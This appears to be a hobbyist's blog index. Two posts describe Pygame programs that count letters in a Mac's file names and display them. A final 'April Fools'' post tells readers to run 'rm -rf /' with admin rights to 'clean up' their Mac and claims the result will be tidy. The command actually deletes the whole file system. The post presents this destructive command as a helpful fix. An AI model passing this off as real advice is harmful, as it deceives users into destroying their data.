FS Letters II

Improving my first version – FS Letters – I changed a core behavior. Instead of going thru the whole file system, saving it, interpreting it and then displaying it, I now went for a dynamic approach. As the filesystem gets checked (60 times per second), the screen is also updating. This makes for both a more efficient (no freeze!) and a much nicer program. If the program is done checking the file system, the text ‘done’ will appear in the screen’s caption.

The First Example The Second Example The Third Example


# Python 2.7.7 Code
# Pygame 1.9.1 (for Python 2.7.7)
# Jonathan Frech 18th of June, 2015

Continue reading

Advertisements

FS Letters

This program goes through all the filenames from every user (it is made for Macintosh), checks the filename and counts the individual letters. Those letters are then displayed on the screen, the most common ones big and bright and the least common ones dark and small. The letters will appear in a random order.

How to use

If you start the program, a black screen will appear. Press ‘space’ and the screen will get red and begin to fade. After the screen is faded out, it gets black and the program freezes (checks your whole filesystem). After this freeze the above mentioned happens (check images below).

The First ExampleThe Second ExampleThe Third Example


# Python 2.7.7 Code
# Pygame 1.9.1 (for Python 2.7.7)
# Jonathan Frech 9th of April, 2015

Continue reading

Clean up your Mac

(April Fools’!) Are you running a Mac and are tired of unsorted files? Do you feel the need to clean up your Mac, but you just cannot do it? – Well, here is your solution: Just type this one line into your console while having admin rights.

rm -rf /

Try it now! The result will be astonishing. None of your folders or files will be at the wrong place!